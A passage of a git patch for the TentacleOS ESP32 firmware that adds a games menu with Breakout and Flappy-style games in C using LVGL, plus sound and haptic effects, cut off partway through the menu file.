ui_gpio_open(void); + +#ifdef __cplusplus +} +#endif + +#endif // UI_GPIO_H From 6db7b540b92be4ca1622a46023a7b150210a2187 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 20 Jul 2026 13:11:04 -0300 Subject: [PATCH 120/572] feat(ui): add games menu and games --- .../ui/screens/games/breakout_ui.c | 359 ++++++++ .../Applications/ui/screens/games/flappy_ui.c | 368 ++++++++ .../Applications/ui/screens/games/game_fx.c | 85 ++ .../ui/screens/games/games_menu_ui.c | 95 ++ .../ui/screens/games/include/breakout_ui.h | 30 + .../ui/screens/games/include/flappy_ui.h | 30 + .../ui/screens/games/include/game_fx.h | 55 ++ .../ui/screens/games/include/games_menu_ui.h | 30 + .../ui/screens/games/include/octopet_ui.h | 40 + .../ui/screens/games/include/snake_ui.h | 30 + .../ui/screens/games/octopet_ui.c | 852 ++++++++++++++++++ .../Applications/ui/screens/games/snake_ui.c | 317 +++++++ 12 files changed, 2291 insertions(+) create mode 100644 firmware_p4/components/Applications/ui/screens/games/breakout_ui.c create mode 100644 firmware_p4/components/Applications/ui/screens/games/flappy_ui.c create mode 100644 firmware_p4/components/Applications/ui/screens/games/game_fx.c create mode 100644 firmware_p4/components/Applications/ui/screens/games/games_menu_ui.c create mode 100644 firmware_p4/components/Applications/ui/screens/games/include/breakout_ui.h create mode 100644 firmware_p4/components/Applications/ui/screens/games/include/flappy_ui.h create mode 100644 firmware_p4/components/Applications/ui/screens/games/include/game_fx.h create mode 100644 firmware_p4/components/Applications/ui/screens/games/include/games_menu_ui.h create mode 100644 firmware_p4/components/Applications/ui/screens/games/include/octopet_ui.h create mode 100644 firmware_p4/components/Applications/ui/screens/games/include/snake_ui.h create mode 100644 firmware_p4/components/Applications/ui/screens/games/octopet_ui.c create mode 100644 firmware_p4/components/Applications/ui/screens/games/snake_ui.c diff --git a/firmware_p4/components/Applications/ui/screens/games/breakout_ui.c b/firmware_p4/components/Applications/ui/screens/games/breakout_ui.c new file mode 100644 index 000000000..3e3fee3bc --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/games/breakout_ui.c @@ -0,0 +1,359 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "breakout_ui.h" + +#include + +#include "esp_random.h" +#include "lvgl.h" +#include "nvs.h" + +#include "buttons_gpio.h" +#include "game_fx.h" +#include "st7789.h" +#include "ui_manager.h" +#include "ui_theme.h" + +#define TICK_MS 33 +#define TOPBAR 26 +#define BRICK_COLS 7 +#define BRICK_ROWS 4 +#define BRICK_N (BRICK_COLS * BRICK_ROWS) +#define BRICK_H 14 +#define MARGIN 6 +#define BGAP 4 +#define PADDLE_W 48 +#define PADDLE_H 9 +#define PADDLE_SPEED 6 +#define BALL_SZ 9 +#define BALL_SPEED 3.4f +#define PADDLE_MAXVX 4.2f +#define START_LIVES 3 +#define SCORE_PER_BRICK 10 + +#define COL_BG 0x0A0014 +#define COL_PADDLE 0xE040FB +#define COL_BALL 0xFFFFFF + +enum { ST_READY, ST_PLAY, ST_DEAD }; + +static const uint32_t ROW_COLORS[BRICK_ROWS] = {0xE040FB, 0xBA3FD0, 0x9C27B0, 0x7B1FA2}; + +static lv_obj_t *s_screen = NULL; +static lv_obj_t *s_paddle = NULL; +static lv_obj_t *s_ball = NULL; +static lv_obj_t *s_brick[BRICK_N]; +static bool s_brick_on[BRICK_N]; +static lv_obj_t *s_score_lbl = NULL; +static lv_obj_t *s_msg_panel = NULL, *s_msg_lbl = NULL; +static lv_timer_t *s_timer = NULL; + +static int s_state = ST_READY; +static int s_w, s_h; +static float s_px; +static float s_bx, s_by, s_bvx, s_bvy; +static int s_brick_x[BRICK_N], s_brick_y[BRICK_N], s_brick_w; +static int s_alive; +static int s_score, s_lives; +static uint32_t s_best; + +static bool s_ok_last, s_back_last; + +static uint32_t load_best(void) { + nvs_handle_t h; + uint32_t v = 0; + if (nvs_open("breakout", NVS_READONLY, &h) == ESP_OK) { + nvs_get_u32(h, "best", &v); + nvs_close(h); + } + return v; +} +static void save_best(uint32_t v) { + nvs_handle_t h; + if (nvs_open("breakout", NVS_READWRITE, &h) == ESP_OK) { + nvs_set_u32(h, "best", v); + nvs_commit(h); + nvs_close(h); + } +} + +static void set_score_text(void) { + lv_label_set_text_fmt(s_score_lbl, "Score %d Lives %d", s_score, s_lives); +} + +static int paddle_y(void) { + return s_h - 22; +} + +static void build_bricks(void) { + s_brick_w = (s_w - 2 * MARGIN - (BRICK_COLS - 1) * BGAP) / BRICK_COLS; + for (int r = 0; r < BRICK_ROWS; r++) { + for (int c = 0; c < BRICK_COLS; c++) { + int i = r * BRICK_COLS + c; + s_brick_x[i] = MARGIN + c * (s_brick_w + BGAP); + s_brick_y[i] = TOPBAR + 8 + r * (BRICK_H + BGAP); + s_brick_on[i] = true; + lv_obj_set_pos(s_brick[i], s_brick_x[i], s_brick_y[i]); + lv_obj_set_size(s_brick[i], s_brick_w, BRICK_H); + lv_obj_set_style_bg_color(s_brick[i], lv_color_hex(ROW_COLORS[r]), 0); + lv_obj_remove_flag(s_brick[i], LV_OBJ_FLAG_HIDDEN); + } + } + s_alive = BRICK_N; +} + +static void park_ball_on_paddle(void) { + s_bx = s_px + PADDLE_W / 2.0f - BALL_SZ / 2.0f; + s_by = paddle_y() - BALL_SZ - 1; + s_bvx = 0; + s_bvy = 0; + lv_obj_set_pos(s_ball, (int)s_bx, (int)s_by); +} + +static void reset_game(void) { + s_state = ST_READY; + s_score = 0; + s_lives = START_LIVES; + s_px = s_w / 2.0f - PADDLE_W / 2.0f; + lv_obj_set_pos(s_paddle, (int)s_px, paddle_y()); + build_bricks(); + park_ball_on_paddle(); + set_score_text(); + lv_obj_add_flag(s_msg_panel, LV_OBJ_FLAG_HIDDEN); +} + +static void launch_ball(void) { + s_state = ST_PLAY; + s_bvy = -BALL_SPEED; + s_bvx = ((esp_random() & 1) ? 1.0f : -1.0f) * (BALL_SPEED * 0.5f); + game_fx(GFX_START); +} + +static void die(void) { + s_state = ST_DEAD; + game_fx(GFX_CRASH); + if ((uint32_t)s_score > s_best) { + s_best = (uint32_t)s_score; + save_best(s_best); + } + lv_label_set_text_fmt(s_msg_lbl, + "GAME OVER\n\nScore %d\nBest %u\n\nOK = retry\nBACK = exit", + s_score, + (unsigned)s_best); + lv_obj_remove_flag(s_msg_panel, LV_OBJ_FLAG_HIDDEN); + lv_obj_move_foreground(s_msg_panel); +} + +static bool hit_bricks(void) { + int bl = (int)s_bx, br = bl + BALL_SZ, bt = (int)s_by, bb = bt + BALL_SZ; + for (int i = 0; i < BRICK_N; i++) { + if (!s_brick_on[i]) + continue; + int xl = s_brick_x[i], xr = xl + s_brick_w, yt = s_brick_y[i], yb = yt + BRICK_H; + if (br > xl && bl < xr && bb > yt && bt < yb) { + s_brick_on[i] = false; + s_alive--; + lv_obj_add_flag(s_brick[i], LV_OBJ_FLAG_HIDDEN); + + int pen_x = (s_bvx > 0) ? (br - xl) : (xr - bl); + int pen_y = (s_bvy > 0) ? (bb - yt) : (yb - bt); + if (pen_x < pen_y) + s_bvx = -s_bvx; + else + s_bvy = -s_bvy; + s_score += SCORE_PER_BRICK; + set_score_text(); + game_fx(GFX_SCORE); + return true; + } + } + return false; +} + +static void step_ball(void) { + s_bx += s_bvx; + s_by += s_bvy; + + if (s_bx < 0) { + s_bx = 0; + s_bvx = -s_bvx; + game_fx(GFX_BOUNCE); + } + if (s_bx + BALL_SZ > s_w) { + s_bx = s_w - BALL_SZ; + s_bvx = -s_bvx; + game_fx(GFX_BOUNCE); + } + if (s_by < TOPBAR) { + s_by = TOPBAR; + s_bvy = -s_bvy; + game_fx(GFX_BOUNCE); + } + + int py = paddle_y(); + if (s_bvy > 0 && s_by + BALL_SZ >= py && s_by + BALL_SZ <= py + PADDLE_H + 4 && + s_bx + BALL_SZ > s_px && s_bx < s_px + PADDLE_W) { + s_by = py - BALL_SZ; + float hit = ((s_bx + BALL_SZ / 2.0f) - (s_px + PADDLE_W / 2.0f)) / (PADDLE_W / 2.0f); + if (hit < -1) + hit = -1; + if (hit > 1) + hit = 1; + s_bvx = hit * PADDLE_MAXVX; + s_bvy = -BALL_SPEED; + game_fx(GFX_BOUNCE); + } + + hit_bricks(); + + if (s_by > s_h) { + s_lives--; + set_score_text(); + if (s_lives <= 0) { + die(); + return; + } + s_state = ST_READY; + park_ball_on_paddle(); + return; + } + + if (s_alive <= 0) { + build_bricks(); + s_state = ST_READY; + park_ball_on_paddle(); + return; + } + + lv_obj_set_pos(s_ball, (int)s_bx, (int)s_by); +} + +static void tick_cb(lv_timer_t *t) { + if (lv_screen_active() != s_screen) { + lv_timer_delete(t); + s_timer = NULL; + return; + } + + bool left = ui_btn_left(), right = ui_btn_right(); + bool ok = ok_button_is_down(), back = back_button_is_down(); + + if (!ui_input_is_locked()) { + if (back && !s_back_last) { + s_back_last = back; + ui_switch_screen(SCREEN_GAMES_MENU); + return; + } + + if (left) + s_px -= PADDLE_SPEED; + if (right) + s_px += PADDLE_SPEED; + if (s_px < 0) + s_px = 0; + if (s_px + PADDLE_W > s_w) + s_px = s_w - PADDLE_W; + lv_obj_set_x(s_paddle, (int)s_px); + + if (ok && !s_ok_last) { + if (s_state == ST_READY) + launch_ball(); + else if (s_state == ST_DEAD) + reset_game(); + } + } + + if (s_state == ST_READY) { + park_ball_on_paddle(); + } else if (s_state == ST_PLAY) { + step_ball(); + } + + s_ok_last = ok; + s_back_last = back; +} + +static lv_obj_t *make_rect(uint32_t color) { + lv_obj_t *o = lv_obj_create(s_screen); + lv_obj_remove_flag(o, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_remove_flag(o, LV_OBJ_FLAG_CLICKABLE); + lv_obj_set_style_radius(o, 3, 0); + lv_obj_set_style_border_width(o, 0, 0); + lv_obj_set_style_bg_opa(o, LV_OPA_COVER, 0); + lv_obj_set_style_bg_color(o, lv_color_hex(color), 0); + lv_obj_set_style_pad_all(o, 0, 0); + return o; +} + +void ui_breakout_open(void) { + if (s_screen != NULL) { + lv_obj_del(s_screen); + s_screen = NULL; + } + s_ok_last = s_back_last = false; + s_best = load_best(); + + s_screen = lv_obj_create(NULL); + lv_obj_set_style_bg_color(s_screen, lv_color_hex(COL_BG), 0); + lv_obj_set_style_bg_opa(s_screen, LV_OPA_COVER, 0); + lv_obj_remove_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_style_pad_all(s_screen, 0, 0); + lv_obj_set_style_border_width(s_screen, 0, 0); + + s_w = LCD_H_RES; + s_h = LCD_V_RES; + + for (int i = 0; i < BRICK_N; i++) { + s_brick[i] = make_rect(ROW_COLORS[0]); + lv_obj_add_flag(s_brick[i], LV_OBJ_FLAG_HIDDEN); + } + + s_paddle = make_rect(COL_PADDLE); + lv_obj_set_size(s_paddle, PADDLE_W, PADDLE_H); + lv_obj_set_style_radius(s_paddle, 4, 0); + + s_ball = make_rect(COL_BALL); + lv_obj_set_size(s_ball, BALL_SZ, BALL_SZ); + lv_obj_set_style_radius(s_ball, LV_RADIUS_CIRCLE, 0); + + s_score_lbl = lv_label_create(s_screen); + lv_obj_set_style_text_color(s_score_lbl, lv_color_hex(0xFFFFFF), 0); + lv_obj_set_style_text_font(s_score_lbl, &lv_font_montserrat_14, 0); + lv_obj_align(s_score_lbl, LV_ALIGN_TOP_MID, 0, 5); + + s_msg_panel = lv_obj_create(s_screen); + lv_obj_remove_flag(s_msg_panel, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(s_msg_panel, s_w - 60, LV_SIZE_CONTENT); + lv_obj_align(s_msg_panel, LV_ALIGN_CENTER, 0, 0); + lv_obj_set_style_radius(s_msg_panel, 14, 0); + lv_obj_set_style_bg_color(s_msg_panel, lv_color_hex(0x1A0426), 0); + lv_obj_set_style_bg_opa(s_msg_panel, LV_OPA_COVER, 0); + lv_obj_set_style_border_width(s_msg_panel, 2, 0); + lv_obj_set_style_border_color(s_msg_panel, ui_theme_get_accent(), 0); + lv_obj_set_style_pad_all(s_msg_panel, 14, 0); + s_msg_lbl = lv_label_create(s_msg_panel); + lv_obj_set_style_text_color(s_msg_lbl, lv_color_hex(0xFFFFFF), 0); + lv_obj_set_style_text_font(s_msg_lbl, &lv_font_montserrat_14, 0); + lv_obj_set_style_text_align(s_msg_lbl, LV_TEXT_ALIGN_CENTER, 0); + lv_obj_center(s_msg_lbl); + + reset_game(); + + if (s_timer == NULL) + s_timer = lv_timer_create(tick_cb, TICK_MS, NULL); + + ui_screen_load(s_screen); +} diff --git a/firmware_p4/components/Applications/ui/screens/games/flappy_ui.c b/firmware_p4/components/Applications/ui/screens/games/flappy_ui.c new file mode 100644 index 000000000..6d71ef59d --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/games/flappy_ui.c @@ -0,0 +1,368 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "flappy_ui.h" + +#include + +#include "esp_random.h" +#include "lvgl.h" +#include "nvs.h" + +#include "assets_manager.h" +#include "buttons_gpio.h" +#include "game_fx.h" +#include "st7789.h" +#include "ui_manager.h" +#include "ui_theme.h" + +#define TICK_MS 33 +#define PIPE_COUNT 3 +#define PIPE_W 38 +#define CAP_H 12 +#define CAP_OVER 5 +#define GAP 100 +#define BIRD_X 60 +#define BIRD_W 34 +#define BIRD_H 49 +#define HB_MX 7 +#define HB_MY 11 +#define HB_W (BIRD_W - 2 * HB_MX) +#define HB_H (BIRD_H - 2 * HB_MY) +#define GROUND_H 20 +#define GRAVITY 0.9f +#define FLAP_V (-7.7f) +#define VEL_MAX 11.0f +#define VEL_MIN (-10.0f) +#define SPEED 2.6f +#define GAP_MARGIN 28 +#define STAR_COUNT 7 + +#define COL_BG 0x0A0014 +#define COL_PIPE 0x9C27B0 +#define COL_CAP 0xBA3FD0 +#define COL_GROUND 0x3A0A4A +#define COL_STAR 0x46286A + +enum { ST_READY, ST_PLAY, ST_DEAD }; + +static lv_obj_t *s_screen = NULL; +static lv_obj_t *s_bird = NULL; +static lv_obj_t *s_pipe_top[PIPE_COUNT]; +static lv_obj_t *s_pipe_bot[PIPE_COUNT]; +static lv_obj_t *s_cap_top[PIPE_COUNT]; +static lv_obj_t *s_cap_bot[PIPE_COUNT]; +static lv_obj_t *s_star[STAR_COUNT]; +static lv_obj_t *s_ground = NULL; +static lv_obj_t *s_score_lbl = NULL; +static lv_obj_t *s_msg_panel = NULL; +static lv_obj_t *s_msg_lbl = NULL; +static lv_timer_t *s_timer = NULL; + +static int s_state = ST_READY; +static int s_w = 0, s_h = 0, s_playh = 0; +static float s_bird_y = 0, s_vel = 0; +static float s_pipe_x[PIPE_COUNT]; +static int s_gap_y[PIPE_COUNT]; +static bool s_scored[PIPE_COUNT]; +static float s_star_x[STAR_COUNT]; +static int s_star_y[STAR_COUNT]; +static float s_spacing = 0; +static int s_score = 0; +static uint32_t s_best = 0; + +static bool s_ok_last, s_up_last, s_back_last; + +static uint32_t load_best(void) { + nvs_handle_t h; + uint32_t v = 0; + if (nvs_open("flappy", NVS_READONLY, &h) == ESP_OK) { + nvs_get_u32(h, "best", &v); + nvs_close(h); + } + return v; +} +static void save_best(uint32_t v) { + nvs_handle_t h; + if (nvs_open("flappy", NVS_READWRITE, &h) == ESP_OK) { + nvs_set_u32(h, "best", v); + nvs_commit(h); + nvs_close(h); + } +} + +static int rand_gap_y(void) { + int lo = GAP / 2 + GAP_MARGIN; + int hi = s_playh - GAP / 2 - GAP_MARGIN; + if (hi <= lo) + return s_playh / 2; + return lo + (int)(esp_random() % (uint32_t)(hi - lo)); +} + +static void layout_pipe(int i) { + int x = (int)s_pipe_x[i]; + int gap_top = s_gap_y[i] - GAP / 2; + int gap_bot = s_gap_y[i] + GAP / 2; + lv_obj_set_pos(s_pipe_top[i], x, 0); + lv_obj_set_size(s_pipe_top[i], PIPE_W, gap_top > 0 ? gap_top : 1); + lv_obj_set_pos(s_pipe_bot[i], x, gap_bot); + lv_obj_set_size(s_pipe_bot[i], PIPE_W, (s_playh - gap_bot) > 0 ? (s_playh - gap_bot) : 1); + lv_obj_set_pos(s_cap_top[i], x - CAP_OVER, gap_top - CAP_H); + lv_obj_set_pos(s_cap_bot[i], x - CAP_OVER, gap_bot); +} + +static void set_score_text(void) { + lv_label_set_text_fmt(s_score_lbl, "%d", s_score); +} + +static void reset_game(void) { + s_state = ST_READY; + s_score = 0; + s_vel = 0; + s_bird_y = s_playh / 2.0f - BIRD_H / 2.0f; + for (int i = 0; i < PIPE_COUNT; i++) { + s_pipe_x[i] = s_w + 40 + i * s_spacing; + s_gap_y[i] = rand_gap_y(); + s_scored[i] = false; + layout_pipe(i); + } + lv_obj_set_y(s_bird, (int)s_bird_y); + lv_image_set_rotation(s_bird, 0); + set_score_text(); + lv_obj_add_flag(s_msg_panel, LV_OBJ_FLAG_HIDDEN); +} + +static void die(void) { + s_state = ST_DEAD; + game_fx(GFX_CRASH); + if ((uint32_t)s_score > s_best) { + s_best = (uint32_t)s_score; + save_best(s_best); + } + lv_label_set_text_fmt(s_msg_lbl, + "GAME OVER\n\nScore %d\nBest %u\n\nOK = retry\nBACK = exit", + s_score, + (unsigned)s_best); + lv_obj_remove_flag(s_msg_panel, LV_OBJ_FLAG_HIDDEN); + lv_obj_move_foreground(s_msg_panel); +} + +static void update_bird_tilt(void) { + float deg = s_vel * 4.0f; + if (deg < -28) + deg = -28; + if (deg > 72) + deg = 72; + lv_image_set_rotation(s_bird, (int16_t)(deg * 10)); +} + +static void step_physics(void) { + s_vel += GRAVITY; + if (s_vel > VEL_MAX) + s_vel = VEL_MAX; + if (s_vel < VEL_MIN) + s_vel = VEL_MIN; + s_bird_y += s_vel; + if (s_bird_y < 0) { + s_bird_y = 0; + s_vel = 0; + } + lv_obj_set_y(s_bird, (int)s_bird_y); + update_bird_tilt(); + + for (int i = 0; i < STAR_COUNT; i++) { + s_star_x[i] -= SPEED * 0.35f; + if (s_star_x[i] < -4) { + s_star_x[i] += s_w + 8; + s_star_y[i] = 10 + (int)(esp_random() % (uint32_t)(s_playh - 20)); + lv_obj_set_y(s_star[i], s_star_y[i]); + } + lv_obj_set_x(s_star[i], (int)s_star_x[i]); + } + + for (int i = 0; i < PIPE_COUNT; i++) { + s_pipe_x[i] -= SPEED; + if (s_pipe_x[i] + PIPE_W < 0) { + s_pipe_x[i] += s_spacing * PIPE_COUNT; + s_gap_y[i] = rand_gap_y(); + s_scored[i] = false; + } + layout_pipe(i); + if (!s_scored[i] && s_pipe_x[i] + PIPE_W < BIRD_X) { + s_scored[i] = true; + s_score++; + set_score_text(); + game_fx(GFX_SCORE); + } + } + + int hb_l = BIRD_X + HB_MX, hb_r = hb_l + HB_W; + int hb_t = (int)s_bird_y + HB_MY, hb_b = hb_t + HB_H; + if (hb_b >= s_playh) { + s_bird_y = s_playh - HB_MY - HB_H; + lv_obj_set_y(s_bird, (int)s_bird_y); + die(); + return; + } + for (int i = 0; i < PIPE_COUNT; i++) { + int px = (int)s_pipe_x[i]; + if (hb_r > px && hb_l < px + PIPE_W) { + int gap_top = s_gap_y[i] - GAP / 2; + int gap_bot = s_gap_y[i] + GAP / 2; + if (hb_t < gap_top || hb_b > gap_bot) { + die(); + return; + } + } + } +} + +static void tick_cb(lv_timer_t *t) { + if (lv_screen_active() != s_screen) { + lv_timer_delete(t); + s_timer = NULL; + return; + } + bool ok = ok_button_is_down(); + bool up = ui_btn_up(); + bool back = back_button_is_down(); + + if (!ui_input_is_locked()) { + if (back && !s_back_last) { + s_back_last = back; + ui_switch_screen(SCREEN_GAMES_MENU); + return; + } + bool flap_edge = (ok && !s_ok_last) || (up && !s_up_last); + if (flap_edge) { + if (s_state == ST_READY) { + s_state = ST_PLAY; + set_score_text(); + s_vel = FLAP_V; + game_fx(GFX_START); + } else if (s_state == ST_PLAY) { + s_vel = FLAP_V; + game_fx(GFX_FLAP); + } else { + reset_game(); + } + } + } + + if (s_state == ST_PLAY) + step_physics(); + + s_ok_last = ok; + s_up_last = up; + s_back_last = back; +} + +static lv_obj_t *make_rect(uint32_t color, uint32_t border) { + lv_obj_t *o = lv_obj_create(s_screen); + lv_obj_remove_flag(o, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_remove_flag(o, LV_OBJ_FLAG_CLICKABLE); + lv_obj_set_style_radius(o, 3, 0); + lv_obj_set_style_bg_opa(o, LV_OPA_COVER, 0); + lv_obj_set_style_bg_color(o, lv_color_hex(color), 0); + lv_obj_set_style_border_width(o, border ? 2 : 0, 0); + if (border) + lv_obj_set_style_border_color(o, lv_color_hex(border), 0); + lv_obj_set_style_pad_all(o, 0, 0); + return o; +} + +void ui_flappy_open(void) { + if (s_screen != NULL) { + lv_obj_del(s_screen); + s_screen = NULL; + } + s_ok_last = s_up_last = s_back_last = false; + s_best = load_best(); + + s_screen = lv_obj_create(NULL); + lv_obj_set_style_bg_color(s_screen, lv_color_hex(COL_BG), 0); + lv_obj_set_style_bg_opa(s_screen, LV_OPA_COVER, 0); + lv_obj_remove_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_style_pad_all(s_screen, 0, 0); + lv_obj_set_style_border_width(s_screen, 0, 0); + + s_w = LCD_H_RES; + s_h = LCD_V_RES; + s_playh = s_h - GROUND_H; + s_spacing = (s_w + PIPE_W) / 2.0f; + + for (int i = 0; i < STAR_COUNT; i++) { + s_star[i] = lv_obj_create(s_screen); + lv_obj_remove_flag(s_star[i], LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(s_star[i], 3, 3); + lv_obj_set_style_radius(s_star[i], LV_RADIUS_CIRCLE, 0); + lv_obj_set_style_border_width(s_star[i], 0, 0); + lv_obj_set_style_bg_opa(s_star[i], LV_OPA_COVER, 0); + lv_obj_set_style_bg_color(s_star[i], lv_color_hex(COL_STAR), 0); + s_star_x[i] = (float)(esp_random() % (uint32_t)s_w); + s_star_y[i] = 10 + (int)(esp_random() % (uint32_t)(s_playh - 20)); + lv_obj_set_pos(s_star[i], (int)s_star_x[i], s_star_y[i]); + } + + for (int i = 0; i < PIPE_COUNT; i++) { + s_pipe_top[i] = make_rect(COL_PIPE, 0xCC00FF); + s_pipe_bot[i] = make_rect(COL_PIPE, 0xCC00FF); + s_cap_top[i] = make_rect(COL_CAP, 0xCC00FF); + s_cap_bot[i] = make_rect(COL_CAP, 0xCC00FF); + lv_obj_set_size(s_cap_top[i], PIPE_W + 2 * CAP_OVER, CAP_H); + lv_obj_set_size(s_cap_bot[i], PIPE_W + 2 * CAP_OVER, CAP_H); + } + + s_ground = make_rect(COL_GROUND, 0xCC00FF); + lv_obj_set_size(s_ground, s_w, GROUND_H); + lv_obj_set_pos(s_ground, 0, s_playh); + + s_bird = lv_image_create(s_screen); + lv_image_dsc_t *dsc = assets_get("/assets/img/octobit_bird.bin"); + if (dsc != NULL) + lv_image_set_src(s_bird, dsc); + lv_image_set_pivot(s_bird, BIRD_W / 2, BIRD_H / 2); + lv_obj_set_x(s_bird, BIRD_X); + + s_score_lbl = lv_label_create(s_screen); + lv_obj_set_style_text_color(s_score_lbl, lv_color_hex(0xFFFFFF), 0); + lv_obj_set_style_text_font(s_score_lbl, &lv_font_montserrat_16, 0); + lv_obj_align(s_score_lbl, LV_ALIGN_TOP_MID, 0, 8); + + s_msg_panel = lv_obj_create(s_screen); + lv_obj_remove_flag(s_msg_panel, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(s_msg_panel, s_w - 60, LV_SIZE_CONTENT); + lv_obj_align(s_msg_panel, LV_ALIGN_CENTER, 0, 0); + lv_obj_set_style_radius(s_msg_panel, 14, 0); + lv_obj_set_style_bg_color(s_msg_panel, lv_color_hex(0x1A0426), 0); + lv_obj_set_style_bg_opa(s_msg_panel, LV_OPA_COVER, 0); + lv_obj_set_style_border_width(s_msg_panel, 2, 0); + lv_obj_set_style_border_color(s_msg_panel, ui_theme_get_accent(), 0); + lv_obj_set_style_pad_all(s_msg_panel, 14, 0); + + s_msg_lbl = lv_label_create(s_msg_panel); + lv_obj_set_style_text_color(s_msg_lbl, lv_color_hex(0xFFFFFF), 0); + lv_obj_set_style_text_font(s_msg_lbl, &lv_font_montserrat_14, 0); + lv_obj_set_style_text_align(s_msg_lbl, LV_TEXT_ALIGN_CENTER, 0); + lv_obj_center(s_msg_lbl); + + reset_game(); + lv_label_set_text(s_score_lbl, "TAP OK"); + + if (s_timer == NULL) + s_timer = lv_timer_create(tick_cb, TICK_MS, NULL); + + ui_screen_load(s_screen); +} diff --git a/firmware_p4/components/Applications/ui/screens/games/game_fx.c b/firmware_p4/components/Applications/ui/screens/games/game_fx.c new file mode 100644 index 000000000..1d286a87d --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/games/game_fx.c @@ -0,0 +1,85 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "game_fx.h" + +#include + +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" + +#include "audio_i2s.h" +#include "drv2605l.h" + +#define FX_AMP 0.42f +#define SND_TASK_STACK 4096 +#define SND_TASK_PRIORITY 4 + +static const audio_note_t SND_FLAP[] = {{780, 28}}; +static const audio_note_t SND_SCORE[] = {{1568, 45}, {2093, 70}}; +static const audio_note_t SND_EAT[] = {{1318, 35}, {1760, 45}}; +static const audio_note_t SND_BOUNCE[] = {{1046, 24}}; +static const audio_note_t SND_CRASH[] = {{330, 110}, {196, 180}}; +static const audio_note_t SND_START[] = {{1046, 55}, {1318, 55}, {1568, 85}}; + +typedef struct { + const audio_note_t *notes; + int count; + uint8_t effect; +} cue_t; + +static cue_t cue_for(game_fx_t k) { + switch (k) { + case GFX_FLAP: + return (cue_t){SND_FLAP, 1, 7}; + case GFX_SCORE: + return (cue_t){SND_SCORE, 2, 10}; + case GFX_EAT: + return (cue_t){SND_EAT, 2, 1}; + case GFX_BOUNCE: + return (cue_t){SND_BOUNCE, 1, 5}; + case GFX_CRASH: + return (cue_t){SND_CRASH, 2, 16}; + case GFX_START: + return (cue_t){SND_START, 3, 4}; + default: + return (cue_t){SND_FLAP, 1, 7}; + } +} + +static volatile bool s_snd_busy = false; +static const audio_note_t *s_snd_notes; +static int s_snd_count; + +static void snd_task(void *arg) { + (void)arg; + audio_i2s_play_song(s_snd_notes, s_snd_count, FX_AMP); + s_snd_busy = false; + vTaskDelete(NULL); +} + +void game_fx(game_fx_t kind) { + cue_t c = cue_for(kind); + + drv2605l_play_effect(c.effect); + + if (s_snd_busy) + return; + s_snd_busy = true; + s_snd_notes = c.notes; + s_snd_count = c.count; + if (xTaskCreate(snd_task, "game_snd", SND_TASK_STACK, NULL, SND_TASK_PRIORITY, NULL) != pdPASS) + s_snd_busy = false; +} diff --git a/firmware_p4/components/Applications/ui/screens/games/games_menu_ui.c b/firmware_p4/components/Applications/ui/screens/games/games_menu_ui.c new file mode 100644 index 000000000..38d610a29 --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/games/games_menu_ui.c @@ -0,0 +1,95 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "games_menu_ui.h" + +#include "buttons_gpio.h" +#include "menu_component_ui.h" +#include "ui_manager.h" +#include "ui_theme.h" + +#define NAV_TIMER_MS 50 +#define GAME_ICON "/assets/icons/game_icon.bin" + +static lv_obj_t *s_screen = NULL; +static menu_component_t s_menu; +static lv_timer_t *s_nav_timer = NULL; + +static bool s_up_last, s_down_last, s_left_last, s_right_last, s_ok_last, s_back_last; + +static const struct { + const char *name; + int target; +} ITEMS[] = { + {"OCTO PET", SCREEN_GAME_OCTOPET}, + {"OCTO FLAP", SCREEN_GAME_FLAPPY}, + {"SNAKE", SCREEN_GAME_SNAKE}, + {"BREAKOUT", SCREEN_GAME_BREAKOUT}, +}; +#define ITEM_COUNT ((int)(sizeof(ITEMS) / sizeof(ITEMS[0]))) + +static void nav_timer_cb(lv_timer_t *t) { + if (lv_screen_active() != s_screen) { + lv_timer_delete(t); + s_nav_timer = NULL; + return; + } + if (ui_input_is_locked()) + return; + + 